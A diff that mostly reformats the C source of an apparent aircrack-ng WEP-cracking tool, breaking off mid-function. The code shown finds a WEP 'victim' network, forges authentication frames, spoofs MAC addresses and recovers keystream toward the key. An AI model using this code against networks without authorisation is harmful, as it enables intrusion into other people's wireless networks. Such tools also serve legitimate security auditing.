@@ -55,8 +54,9 @@
 #include <signal.h>
 #include <stdarg.h>
 #include <err.h>
+#include <limits.h>
 
-#include "osdep/osdep.h"
+#include "aircrack-osdep/osdep.h"
 #include "pcap.h"
 #include "aircrack-ptw-lib.h"
 #include "ieee80211.h"
@@ -65,22 +65,22 @@
 #include "if_llc.h"
 #include "crypto.h"
 #include "version.h"
-#include "osdep/byteorder.h"
-
-#define FIND_VICTIM		0
-#define FOUND_VICTIM		1
-#define SENDING_AUTH		2
-#define GOT_AUTH		3
-#define SPOOF_MAC		4
-#define SENDING_ASSOC		5
-#define GOT_ASSOC		6
-
-#define LINKTYPE_IEEE802_11     105
-#define TCPDUMP_MAGIC           0xA1B2C3D4
-
-#define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
-#define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
-#define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
+#include "aircrack-osdep/byteorder.h"
+
+#define FIND_VICTIM 0
+#define FOUND_VICTIM 1
+#define SENDING_AUTH 2
+#define GOT_AUTH 3
+#define SPOOF_MAC 4
+#define SENDING_ASSOC 5
+#define GOT_ASSOC 6
+
+#define LINKTYPE_IEEE802_11 105
+#define TCPDUMP_MAGIC 0xA1B2C3D4
+
+#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00"
+#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06")
+#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00")
 #define PADDED_ARPLEN 54
 
 #define MCAST_PREF "\x01\x00\x5e\x00\x00"
@@ -90,211 +90,222 @@
 #define PRGA_FILE "prga.log"
 #define KEYLIMIT 1000000
 
-extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc);
-
-struct frag_state {
-	struct ieee80211_frame	fs_wh;
-	unsigned char		*fs_data;
-	int			fs_len;
-	unsigned char		*fs_ptr;
-	int			fs_waiting_relay;
-	struct timeval		fs_last;
+struct frag_state
+{
+	struct ieee80211_frame fs_wh;
+	unsigned char * fs_data;
+	int fs_len;
+	unsigned char * fs_ptr;
+	int fs_waiting_relay;
+	struct timeval fs_last;
 };
 
-struct prga_info {
-	unsigned char	*pi_prga;
-	int		pi_len;
-	unsigned char	pi_iv[3];
+struct prga_info
+{
+	unsigned char * pi_prga;
+	int pi_len;
+	unsigned char pi_iv[3];
 };
 
-struct wstate {
-	int			ws_state;
-	struct timeval		ws_arpsend;
-	char			*ws_netip;
-	int			ws_netip_arg;
-	int			ws_max_chan;
-	unsigned char		*ws_rtrmac;
-	unsigned char		ws_mymac[6];
-	int			ws_have_mac;
-	char			ws_myip[16];
-	unsigned char		*ws_victim_mac;
-	PTW_attackstate		*ws_ptw;
-	unsigned int		ws_ack_timeout;
-	int			ws_min_prga;
-	int			ws_thresh_incr;
-	int			ws_crack_dur;
-	int			ws_wep_thresh;
-	int			ws_crack_pid;
-	struct timeval		ws_crack_start;
-	struct timeval		ws_real_start;
-	struct timeval		ws_lasthop;
-	struct timeval		ws_last_wcount;
-	struct wif		*ws_wi;
-	unsigned int		ws_last_wep_count;
-	int			ws_ignore_ack;
+struct wstate
+{
+	int ws_state;
+	struct timeval ws_arpsend;
+	char * ws_netip;
+	int ws_netip_arg;
+	int ws_max_chan;
+	unsigned char * ws_rtrmac;
+	unsigned char ws_mymac[6];
+	int ws_have_mac;
+	char ws_myip[16];
+	unsigned char * ws_victim_mac;
+	PTW_attackstate * ws_ptw;
+	unsigned int ws_ack_timeout;
+	int ws_min_prga;
+	int ws_thresh_incr;
+	int ws_crack_dur;
+	int ws_wep_thresh;
+	int ws_crack_pid;
+	struct timeval ws_crack_start;
+	struct timeval ws_real_start;
+	struct timeval ws_lasthop;
+	struct timeval ws_last_wcount;
+	struct wif * ws_wi;
+	unsigned int ws_last_wep_count;
+	int ws_ignore_ack;
 
 	/* tx_state */
-	int			ws_waiting_ack;
-	struct timeval		ws_tsent;
-	int			ws_retries;
-	unsigned int		ws_psent;
+	int ws_waiting_ack;
+	struct timeval ws_tsent;
+	int ws_retries;
+	unsigned int ws_psent;
 
 	/* chan_info */
-	int			ws_chan;
+	int ws_chan;
 
 	/* victim_info */
-	char			*ws_ssid;
-	int			ws_apchan;
-	unsigned char		ws_bss[6];
+	char * ws_ssid;
+	int ws_apchan;
+	unsigned char ws_bss[6];
 
-	struct frag_state	ws_fs;
-	struct prga_info	ws_pi;
+	struct frag_state ws_fs;
+	struct prga_info ws_pi;
 
 	/* decrypt_state */
-	unsigned char		*ws_cipher;
-	int			ws_clen;
-	struct prga_info	ws_dpi;
-	struct frag_state	ws_dfs;
+	unsigned char * ws_cipher;
+	int ws_clen;
+	struct prga_info ws_dpi;
+	struct frag_state ws_dfs;
 
 	/* wep_log */
-	unsigned int		ws_packets;
-	unsigned int		ws_rate;
-	int			ws_fd;
-	unsigned char		ws_iv[3];
+	unsigned int ws_packets;
+	unsigned int ws_rate;
+	int ws_fd;
+	unsigned char ws_iv[3];
 } _wstate;
 
 #define KEYHSBYTES PTW_KEYHSBYTES
 
-int PTW_DEFAULTWEIGHT[1] = { 256 };
-int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
-
+int PTW_DEFAULTWEIGHT[1] = {256};
+int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
 
+struct timeval t_begin; /* time at start of attack      */
+struct timeval t_stats; /* time since last update       */
 
-struct timeval t_begin;			 /* time at start of attack      */
-struct timeval t_stats;			 /* time since last update       */
-
-float chrono( struct timeval *start, int reset )
-{
-    float delta;
-    struct timeval current;
-
-    gettimeofday( &current, NULL );
-
-    delta = ( current.tv_sec  - start->tv_sec  ) + (float)
-            ( current.tv_usec - start->tv_usec ) / 1000000;
-
-    if( reset )
-        gettimeofday( start, NULL );
-
-    return( delta );
-}
+static void cleanup(int x);
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod,
+					int keylimit);
 
 /* display the current votes */
 
-void show_wep_stats( int B, int force, PTW_tableentry table[PTW_KEYHSBYTES][PTW_n], int choices[KEYHSBYTES], int depth[KEYHSBYTES], int prod, int keylimit )
+void show_wep_stats(int B,
+					int force,
+					PTW_tableentry table[PTW_KEYHSBYTES][PTW_n],
+					int choices[KEYHSBYTES],
+					int depth[KEYHSBYTES],
+					int prod,
+					int keylimit)
 {
-    float delta;
-    struct winsize ws;
-    int i, et_h, et_m, et_s;
-    static int is_cleared = 0;
-
-    return;
-    /*
-    if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
-    {
-        ws.ws_row = 25;
-        ws.ws_col = 80;
-    }
-
-    if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 )
-        return;
+	float delta;
+	struct winsize ws;
+	int i, et_h, et_m, et_s;
+	static int is_cleared = 0;
+
+	(void) B;
+	(void) force;
+	(void) table;
+	(void) choices;
+	(void) depth;
+	(void) prod;
+	(void) keylimit;
+
+	(void) delta;
+	(void) ws;
+	(void) i;
+	(void) et_h;
+	(void) et_m;
+	(void) et_s;
+	(void) is_cleared;
+
+	return;
+	/*
+	if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 )
+	{
+		ws.ws_row = 25;
+		ws.ws_col = 80;
+	}
+
+	if( (chrono( &t_stats, 0 ) < 1.51) && force == 0 )
+		return;
 
-    chrono( &t_stats, 1 );
+	chrono( &t_stats, 1 );
 
-    delta = chrono( &t_begin, 0 );
+	delta = chrono( &t_begin, 0 );
 
-    et_h =   delta / 3600;
-    et_m = ( delta - et_h * 3600 ) / 60;
-    et_s =   delta - et_h * 3600 - et_m * 60;
+	et_h =   delta / 3600;
+	et_m = ( delta - et_h * 3600 ) / 60;
+	et_s =   delta - et_h * 3600 - et_m * 60;
 
-    if( is_cleared == 0 )
-    {
-        is_cleared++;
+	if( is_cleared == 0 )
+	{
+		is_cleared++;
 
-        printf( "\33[2J" );
-    }
+		printf( "\33[2J" );
+	}
 
-    if(table)
-        printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K",
-                (ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit );
+	if(table)
+		printf( "\33[5;%dH[%02d:%02d:%02d] Tested %d/%d keys\33[K",
+				(ws.ws_col - 44) / 2, et_h, et_m, et_s, prod, keylimit );
 
-    printf( "\33[7;4HKB    depth   byte(vote)\n" );
+	printf( "\33[7;4HKB    depth   byte(vote)\n" );
 
-    for( i = 0; i <= B; i++ )
-    {
-        int j, k = ( ws.ws_col - 20 ) / 9;
+	for( i = 0; i <= B; i++ )
+	{
+		int j, k = ( ws.ws_col - 20 ) / 9;
 
-        if(table)
-            printf( "   %2d  %3d/%3d   ",
-                    i, depth[i], choices[i] );
+		if(table)
+			printf( "   %2d  %3d/%3d   ",
+					i, depth[i], choices[i] );
 
-        if(table)
-        {
-            for( j = depth[i]; j < k + depth[i]; j++ )
-            {
-                if( j >= 256 ) break;
+		if(table)
+		{
+			for( j = depth[i]; j < k + depth[i]; j++ )
+			{
+				if( j >= 256 ) break;
 
-                printf( "%02X(%4d) ",  table[i][j].b,
-                        table[i][j].votes );
-            }
-        }
-        printf( "\n" );
-    }
+				printf( "%02X(%4d) ",  table[i][j].b,
+						table[i][j].votes );
+			}
+		}
+		printf( "\n" );
+	}
 
 //    if( B < opt.keylen - 1 )
 //        printf( "\33[J" );
 
-    printf( "\n" );
-    */
+	printf( "\n" );
+	*/
 }
 
-static struct wstate *get_ws(void)
-{
-	return &_wstate;
-}
+static struct wstate * get_ws(void) { return &_wstate; }
 
-static void cleanup(int x);
-static void sigchild(int x);
-
-static void time_print(char* fmt, ...)
+static void time_print(char * fmt, ...)
 {
-        va_list ap;
-        char lame[1024];
+	va_list ap;
+	char lame[1024];
 	time_t tt;
-	struct tm *t;
+	struct tm * t;
 
-        va_start(ap, fmt);
-        vsnprintf(lame, sizeof(lame), fmt, ap);
-        va_end(ap);
+	va_start(ap, fmt);
+	vsnprintf(lame, sizeof(lame), fmt, ap);
+	va_end(ap);
 
 	tt = time(NULL);
 
-	if (tt == (time_t)-1) {
+	if (tt == (time_t) -1)
+	{
 		perror("time()");
 		exit(1);
 	}
 
 	t = localtime(&tt);
-	if (!t) {
+	if (!t)
+	{
 		perror("localtime()");
 		exit(1);
 	}
 
-	printf("[%.2d:%.2d:%.2d] %s",
-	       t->tm_hour, t->tm_min, t->tm_sec, lame);
+	printf("[%.2d:%.2d:%.2d] %s", t->tm_hour, t->tm_min, t->tm_sec, lame);
 }
 
-static void check_key(struct wstate *ws)
+static void check_key(struct wstate * ws)
 {
 	char buf[1024];
 	int fd;
@@ -303,12 +314,14 @@
 
 	fd = open(KEY_FILE, O_RDONLY);
 
-	if (fd == -1) {
+	if (fd == -1)
+	{
 		return;
 	}
 
-	rd = read(fd, buf, sizeof(buf) -1);
-	if (rd == -1) {
+	rd = read(fd, buf, sizeof(buf) - 1);
+	if (rd == -1)
+	{
 		perror("read()");
 		exit(1);
 	}
@@ -317,32 +330,33 @@
 
 	close(fd);
 
-	printf ("\n\n");
+	printf("\n\n");
 	time_print("KEY=(%s)\n", buf);
 
-	if (gettimeofday(&now, NULL) == -1) {
+	if (gettimeofday(&now, NULL) == -1)
+	{
 		perror("gettimeofday()");
 		exit(1);
 	}
 
-	printf ("Owned in %.02f minutes\n",
-		((double) now.tv_sec - ws->ws_real_start.tv_sec)/60.0);
+	printf("Owned in %.02f minutes\n",
+		   ((double) now.tv_sec - ws->ws_real_start.tv_sec) / 60.0);
 
 	cleanup(0);
 	exit(0);
 }
 
-static void kill_crack(struct wstate *ws)
+static void kill_crack(struct wstate * ws)
 {
-	if (ws->ws_crack_pid == 0)
-		return;
+	if (ws->ws_crack_pid == 0) return;
 
 	printf("\n");
 	time_print("Stopping crack PID=%d\n", ws->ws_crack_pid);
 
 	// XXX doesn't return -1 for some reason! [maybe on my box... so it
 	// might be buggy on other boxes...]
-	if (kill(ws->ws_crack_pid, SIGINT) == -1) {
+	if (kill(ws->ws_crack_pid, SIGINT) == -1)
+	{
 #if 0
 		perror("kill()");
 		exit(1);
@@ -356,91 +370,104 @@
 
 static void cleanup(int x)
 {
-	struct wstate *ws = get_ws();
+	struct wstate * ws = get_ws();
 
 	printf("\n");
 	time_print("Dying...\n");
 
-	if (x) {} /* XXX unused */
+	if (x)
+	{
+	} /* XXX unused */
 
-	if (ws->ws_fd)
-		close(ws->ws_fd);
+	if (ws->ws_fd) close(ws->ws_fd);
 
 	kill_crack(ws);
 
-	if (ws->ws_wi)
-		wi_close(ws->ws_wi);
+	if (ws->ws_wi) wi_close(ws->ws_wi);
 
-	if(ws->ws_ssid)
-		free(ws->ws_ssid);
+	if (ws->ws_ssid) free(ws->ws_ssid);
 
 	exit(0);
 }
 
-static void set_chan(struct wstate *ws, int c)
+static void set_chan(struct wstate * ws, int c)
 {
-	if (c == ws->ws_chan)
-		return;
+	if (c == ws->ws_chan) return;
 
-	if (wi_set_channel(ws->ws_wi, c))
-		err(1, "wi_set_channel()");
+	if (wi_set_channel(ws->ws_wi, c)) err(1, "wi_set_channel()");
 
 	ws->ws_chan = c;
 }
 
-static void hexdump(unsigned char *ptr, int len)
+static void hexdump(unsigned char * ptr, int len)
 {
-        while(len > 0) {
-                printf("%.2X ", *ptr);
-                ptr++; len--;
-        }
-        printf("\n");
+	while (len > 0)
+	{
+		printf("%.2X ", *ptr);
+		ptr++;
+		len--;
+	}
+	printf("\n");
 }
 
-static char* mac2str(unsigned char* mac)
+static char * mac2str(unsigned char * mac)
 {
-	static char ret[6*3];
-
-	snprintf(ret, (6*3), "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
-		mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+	static char ret[6 * 3];
+
+	snprintf(ret,
+			 (6 * 3),
+			 "%.2X:%.2X:%.2X:%.2X:%.2X:%.2X",
+			 mac[0],
+			 mac[1],
+			 mac[2],
+			 mac[3],
+			 mac[4],
+			 mac[5]);
 
 	return ret;
 }
 
-static void inject(struct wif *wi, void *buf, int len)
+static void inject(struct wif * wi, void * buf, int len)
 {
 	int rc;
 
 	rc = wi_write(wi, buf, len, NULL);
 
-	if(rc == -1) {
+	if (rc == -1)
+	{
 		perror("writev()");
 		exit(1);
 	}
-	if (rc != len) {
-		time_print("ERROR: Packet length changed while transmitting (%d instead of %d).\n", rc, len);
+	if (rc != len)
+	{
+		time_print("ERROR: Packet length changed while transmitting (%d "
+				   "instead of %d).\n",
+				   rc,
+				   len);
 		exit(1);
 	}
 }
 
-static void send_frame(struct wstate *ws, unsigned char* buf, int len)
+static void send_frame(struct wstate * ws, unsigned char * buf, int len)
 {
-	static unsigned char* lame = 0;
+	static unsigned char * lame = 0;
 	static int lamelen = 0;
 	static int lastlen = 0;
 
 	// retransmit!
-	if (len == -1) {
+	if (len == -1)
+	{
 		ws->ws_retries++;
 
-		if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack) {
+		if (ws->ws_ignore_ack && ws->ws_retries >= ws->ws_ignore_ack)
+		{
 			ws->ws_waiting_ack = 0;
 			return;
 		}
 
-		if (ws->ws_retries > 10) {
-			time_print("ERROR Max retransmists for (%d bytes):\n",
-			       lastlen);
+		if (ws->ws_retries > 10)
+		{
+			time_print("ERROR Max retransmists for (%d bytes):\n", lastlen);
 			hexdump(&lame[0], lastlen);
 #if 0
 			txstate.waiting_ack = 0;
@@ -448,18 +475,20 @@
 #endif
 		}
 		len = lastlen;
-//		printf("Warning doing a retransmit...\n");
+		//		printf("Warning doing a retransmit...\n");
 	}
 	// normal tx
-	else {
+	else
+	{
 		assert(!ws->ws_waiting_ack);
 
-		if (len > lamelen) {
-			if (lame)
-				free(lame);
+		if (len > lamelen)
+		{
+			if (lame) free(lame);
 
-			lame = (unsigned char*) malloc(len);
-			if(!lame) {
+			lame = (unsigned char *) malloc(len);
+			if (!lame)
+			{
 				perror("malloc()");
 				exit(1);
 			}
@@ -474,11 +503,11 @@
 
 	inject(ws->ws_wi, lame, len);
 
-	if (ws->ws_ignore_ack != 1)
-		ws->ws_waiting_ack = 1;
+	if (ws->ws_ignore_ack != 1) ws->ws_waiting_ack = 1;
 
 	ws->ws_psent++;
-	if (gettimeofday(&ws->ws_tsent, NULL) == -1) {
+	if (gettimeofday(&ws->ws_tsent, NULL) == -1)
+	{
 		perror("gettimeofday()");
 		exit(1);
 	}
@@ -492,47 +521,48 @@
 /* Expects host-endian arguments, but returns little-endian seq. */
 static unsigned short fnseq(unsigned short fn, unsigned short seq)
 {
-        unsigned short r = 0;
+	unsigned short r = 0;
 
-        if(fn > 15) {
-                time_print("too many fragments (%d)\n", fn);
-                exit(1);
-        }
+	if (fn > 15)
+	{
+		time_print("too many fragments (%d)\n", fn);
+		exit(1);
+	}
 
-        r = fn;
+	r = fn;
 
-        r |=  ( (seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
 
-        return htole16(r);
+	return htole16(r);
 }
 
-static void fill_basic(struct wstate *ws, struct ieee80211_frame* wh)
+static void fill_basic(struct wstate * ws, struct ieee80211_frame * wh)
 {
-	unsigned short *sp;
+	unsigned short * sp;
 
 	memcpy(wh->i_addr1, ws->ws_bss, 6);
 	memcpy(wh->i_addr2, ws->ws_mymac, 6);
 	memcpy(wh->i_addr3, ws->ws_bss, 6);
 
-	sp = (unsigned short*) wh->i_seq;
+	sp = (unsigned short *) wh->i_seq;
 	*sp = fnseq(0, ws->ws_psent);
 
-	sp = (unsigned short*) wh->i_dur;
+	sp = (unsigned short *) wh->i_dur;
 	*sp = htole16(32767);
 }
 
-static void send_assoc(struct wstate *ws)
+static void send_assoc(struct wstate * ws)
 {
 	unsigned char buf[128];
-	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
-	unsigned char* body;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * body;
 	int ssidlen;
 
 	memset(buf, 0, sizeof(buf));
 	fill_basic(ws, wh);
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
 
-	body = (unsigned char*) wh + sizeof(*wh);
+	body = (unsigned char *) wh + sizeof(*wh);
 	*body = 1 | IEEE80211_CAPINFO_PRIVACY; // cap
 	// cap + interval
 	body += 2 + 2;
@@ -545,97 +575,99 @@
 	body += ssidlen;
 
 	// rates
-        *body++ = IEEE80211_ELEMID_RATES;
-        *body++ = 8;
-        *body++ = 2 | 0x80;
-        *body++ = 4 | 0x80;
-        *body++ = 11 | 0x80;
-        *body++ = 22 | 0x80;
+	*body++ = IEEE80211_ELEMID_RATES;
+	*body++ = 8;
+	*body++ = 2 | 0x80;
+	*body++ = 4 | 0x80;
+	*body++ = 11 | 0x80;
+	*body++ = 22 | 0x80;
 	*body++ = 12 | 0x80;
 	*body++ = 24 | 0x80;
 	*body++ = 48 | 0x80;
 	*body++ = 72;
 
-        /* x-rates */
-        *body++ = IEEE80211_ELEMID_XRATES;
-        *body++ = 4;
-        *body++ = 48;
-        *body++ = 72;
-        *body++ = 96;
-        *body++ = 108;
+	/* x-rates */
+	*body++ = IEEE80211_ELEMID_XRATES;
+	*body++ = 4;
+	*body++ = 48;
+	*body++ = 72;
+	*body++ = 96;
+	*body++ = 108;
 
-	send_frame(ws, buf, (unsigned long)body - (unsigned long)buf);
+	send_frame(ws, buf, (unsigned long) body - (unsigned long) buf);
 }
 
-static void wepify(struct wstate *ws, unsigned char* body, int dlen)
+static void wepify(struct wstate * ws, unsigned char * body, int dlen)
 {
 	uLong crc;
-	unsigned int *pcrc;
+	unsigned int * pcrc;
 	int i;
 
 	assert(dlen + 4 <= ws->ws_pi.pi_len);
 
 	// iv
 	memcpy(body, ws->ws_pi.pi_iv, 3);
-	body +=3;
+	body += 3;
 	*body++ = 0;
 
 	// crc
 	crc = crc32(0L, Z_NULL, 0);
 	crc = crc32(crc, body, dlen);
-	pcrc = (unsigned int*) (body+dlen);
+	pcrc = (unsigned int *) (body + dlen);
 	*pcrc = htole32(crc);
 
-	for (i = 0; i < dlen +4; i++)
-		*body++ ^= ws->ws_pi.pi_prga[i];
+	for (i = 0; i < dlen + 4; i++) *body++ ^= ws->ws_pi.pi_prga[i];
 }
 
-static void send_auth(struct wstate *ws)
+static void send_auth(struct wstate * ws)
 {
 	unsigned char buf[128];
-	struct ieee80211_frame* wh = (struct ieee80211_frame*) buf;
-	unsigned short* n;
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * n;
 
 	memset(buf, 0, sizeof(buf));
 	fill_basic(ws, wh);
 	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
 
-	n = (unsigned short*) ((unsigned char*) wh + sizeof(*wh));
+	n = (unsigned short *) ((unsigned char *) wh + sizeof(*wh));
 	n++;
 	*n = htole16(1);
 
 	send_frame(ws, buf, sizeof(*wh) + 2 + 2 + 2);
 }
 
-static int get_victim_ssid(struct wstate *ws, struct ieee80211_frame* wh,
-			   int len)
+static int
+get_victim_ssid(struct wstate * ws, struct ieee80211_frame * wh, int len)
 {
-	unsigned char* ptr;
+	unsigned char * ptr;
 	int x;
 	int gots = 0, gotc = 0;
 
-	if (len <= (int) sizeof(*wh)) {
+	if (len <= (int) sizeof(*wh))
+	{
 		time_print("Warning: short packet in get_victim_ssid()\n");
 		return 0;
 	}
 
-	ptr = (unsigned char*)wh + sizeof(*wh);
+	ptr = (unsigned char *) wh + sizeof(*wh);
 	len -= sizeof(*wh);
 
 	// only wep baby
-	if ( !(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY)) {
+	if (!(IEEE80211_BEACON_CAPABILITY(ptr) & IEEE80211_CAPINFO_PRIVACY))
+	{
 		return 0;
 	}
 
 	// we want a specific victim
-	if (ws->ws_victim_mac) {
-		if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0)
-			return 0;
+	if (ws->ws_victim_mac)
+	{
+		if (memcmp(wh->i_addr3, ws->ws_victim_mac, 6) != 0) return 0;
 	}
 
 	// beacon header
 	x = 8 + 2 + 2;
-	if (len <= x) {
+	if (len <= x)
+	{
 		time_print("Warning short.\n");
 		return 0;
 	}
@@ -644,7 +676,8 @@
 	len -= x;
 
 	// SSID
-	while(len > 2) {
+	while (len > 2)
+	{
 		int eid, elen;
 
 		eid = *ptr;
@@ -653,18 +686,20 @@
 		ptr++;
 		len -= 2;
 
-		if (len < elen) {
+		if (len < elen)
+		{
 			time_print("Warning short....\n");
 			return 0;
 		}
 
 		// ssid
-		if (eid == 0) {
-			if (ws->ws_ssid)
-				free(ws->ws_ssid);
+		if (eid == 0)
+		{
+			if (ws->ws_ssid) free(ws->ws_ssid);
 
-			ws->ws_ssid = (char*) malloc(elen + 1);
-			if (!ws->ws_ssid) {
+			ws->ws_ssid = (char *) malloc(elen + 1);
+			if (!ws->ws_ssid)
+			{
 				perror("malloc()");
 				exit(1);
 			}
@@ -672,11 +707,12 @@
 			memcpy(ws->ws_ssid, ptr, elen);
 			ws->ws_ssid[elen] = 0;
 			gots = 1;
-
 		}
 		// chan
-		else if(eid == 3) {
-			if( elen != 1) {
+		else if (eid == 3)
+		{
+			if (elen != 1)
+			{
 				time_print("Warning len of chan not 1\n");
 				return 0;
 			}
@@ -689,26 +725,31 @@
 		len -= elen;
 	}
 
-	if (gots && gotc) {
+	if (gots && gotc)
+	{
 		memcpy(ws->ws_bss, wh->i_addr3, 6);
 		set_chan(ws, ws->ws_apchan);
 		ws->ws_state = FOUND_VICTIM;
 		time_print("Found SSID(%s) BSS=(%s) chan=%d\n",
-		       ws->ws_ssid, mac2str(ws->ws_bss), ws->ws_apchan);
+				   ws->ws_ssid,
+				   mac2str(ws->ws_bss),
+				   ws->ws_apchan);
 		return 1;
 	}
 	return 0;
 }
 
-static void send_ack(struct wstate *ws)
+static void send_ack(struct wstate * ws)
 {
-	if (ws) {} /* XXX unused */
+	if (ws)
+	{
+	} /* XXX unused */
 	/* firmware acks */
 }
 
-static void do_llc(unsigned char* buf, unsigned short type)
+static void do_llc(unsigned char * buf, unsigned short type)
 {
-	struct llc* h = (struct llc*) buf;
+	struct llc * h = (struct llc *) buf;
 
 	memset(h, 0, sizeof(*h));
 	h->llc_dsap = LLC_SNAP_LSAP;
@@ -717,17 +758,20 @@
 	h->llc_un.type_snap.ether_type = htons(type);
 }
 
-static void set_prga(struct wstate *ws, unsigned char* iv,
-		     unsigned char* cipher, unsigned char* clear, int len)
+static void set_prga(struct wstate * ws,
+					 unsigned char * iv,
+					 unsigned char * cipher,
+					 unsigned char * clear,
+					 int len)
 {
 	int i;
 	int fd;
 
-	if (ws->ws_pi.pi_len != 0)
-		free(ws->ws_pi.pi_prga);
+	if (ws->ws_pi.pi_len != 0) free(ws->ws_pi.pi_prga);
 
-	ws->ws_pi.pi_prga = (unsigned char*) malloc(len);
-	if (!ws->ws_pi.pi_prga) {
+	ws->ws_pi.pi_prga = (unsigned char *) malloc(len);
+	if (!ws->ws_pi.pi_prga)
+	{
 		perror("malloc()");
 		exit(1);
 	}
@@ -735,43 +779,49 @@
 	ws->ws_pi.pi_len = len;
 	memcpy(ws->ws_pi.pi_iv, iv, 3);
 
-	for (i = 0; i < len; i++) {
-		ws->ws_pi.pi_prga[i] =  ( cipher ? (clear[i] ^ cipher[i]) :
-				 	        clear[i]);
+	for (i = 0; i < len; i++)
+	{
+		ws->ws_pi.pi_prga[i] = (cipher ? (clear[i] ^ cipher[i]) : clear[i]);
 	}
 
 	time_print("Got %d bytes of prga IV=(%.02x:%.02x:%.02x) PRGA=",
-	       ws->ws_pi.pi_len, ws->ws_pi.pi_iv[0], ws->ws_pi.pi_iv[1],
-	       ws->ws_pi.pi_iv[2]);
+			   ws->ws_pi.pi_len,
+			   ws->ws_pi.pi_iv[0],
+			   ws->ws_pi.pi_iv[1],
+			   ws->ws_pi.pi_iv[2]);
 	hexdump(ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
 
-	if (!cipher)
-		return;
+	if (!cipher) return;
 
-	fd = open(PRGA_FILE, O_WRONLY | O_CREAT,
-		  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	fd = open(
+		PRGA_FILE, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
 
-	if (fd == -1) {
+	if (fd == -1)
+	{
 		perror("open()");
 		exit(1);
 	}
 
 	i = write(fd, ws->ws_pi.pi_iv, 3);
-	if (i == -1) {
+	if (i == -1)
+	{
 		perror("write()");
 		exit(1);
 	}
-	if (i != 3) {
+	if (i != 3)
+	{
 		printf("Wrote %d out of %d\n", i, 3);
 		exit(1);
 	}
 
 	i = write(fd, ws->ws_pi.pi_prga, ws->ws_pi.pi_len);
-	if (i == -1) {
+	if (i == -1)
+	{
 		perror("write()");
 		exit(1);
 	}
-	if (i != ws->ws_pi.pi_len) {
+	if (i != ws->ws_pi.pi_len)
+	{
 		printf("Wrote %d out of %d\n", i, ws->ws_pi.pi_len);
 		exit(1);
 	}
@@ -779,96 +829,112 @@
 	close(fd);
 }
 
-static void proc_ctl(struct wstate *ws, int stype)
+static void proc_ctl(struct wstate * ws, int stype)
 {
-	if (stype == IEEE80211_FC0_SUBTYPE_ACK) {
+	if (stype == IEEE80211_FC0_SUBTYPE_ACK)
+	{
 		ws->ws_waiting_ack = 0;
 		return;
-
-	} else if (stype == IEEE80211_FC0_SUBTYPE_RTS) {
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_RTS)
+	{
 		return;
-
-	} else if (stype == IEEE80211_FC0_SUBTYPE_CTS) {
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_CTS)
+	{
 		return;
 	}
 
-	time_print ("got CTL=%x\n", stype);
+	time_print("got CTL=%x\n", stype);
 }
 
-static void proc_mgt(struct wstate *ws, int stype, unsigned char *body)
+static void proc_mgt(struct wstate * ws, int stype, unsigned char * body)
 {
 	unsigned short * rc;
 	unsigned short * sc;
 	unsigned int aid;
 
-	if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH) {
-		rc = (unsigned short*) body;
+	if (stype == IEEE80211_FC0_SUBTYPE_DEAUTH)
+	{
+		rc = (unsigned short *) body;
 
 		printf("\n");
 		time_print("Got deauth=%u\n", le16toh(*rc));
 		ws->ws_state = FOUND_VICTIM;
 		return;
-
-	} else if (stype == IEEE80211_FC0_SUBTYPE_AUTH) {
-		sc = (unsigned short*) body;
+	}
+	else if (stype == IEEE80211_FC0_SUBTYPE_AUTH)
+	{
+		sc = (unsigned short *) body;
 
 		if (ws->ws_state != SENDING_AUTH) /* We didn't ask for it. */
 			return;
 
-		if (le16toh(*sc) != 0) {
+		if (le16toh(*sc) != 0)
+		{
 			time_print("Warning got auth algo=%x\n", le16toh(*sc));
 			exit(1);
 			return;
 		}
 		sc++;
 
-		if (le16toh(*sc) != 2) {
+		if (le16toh(*sc) != 2)
+		{
 			time_print("Warning got auth seq=%x\n", le16toh(*sc));
 			return;
 		}
 
 		sc++;
 
-		if (le16toh(*sc) == 1) {
+		if (le16toh(*sc) == 1)
+		{
 			time_print("Auth rejected.  Spoofin mac.\n");
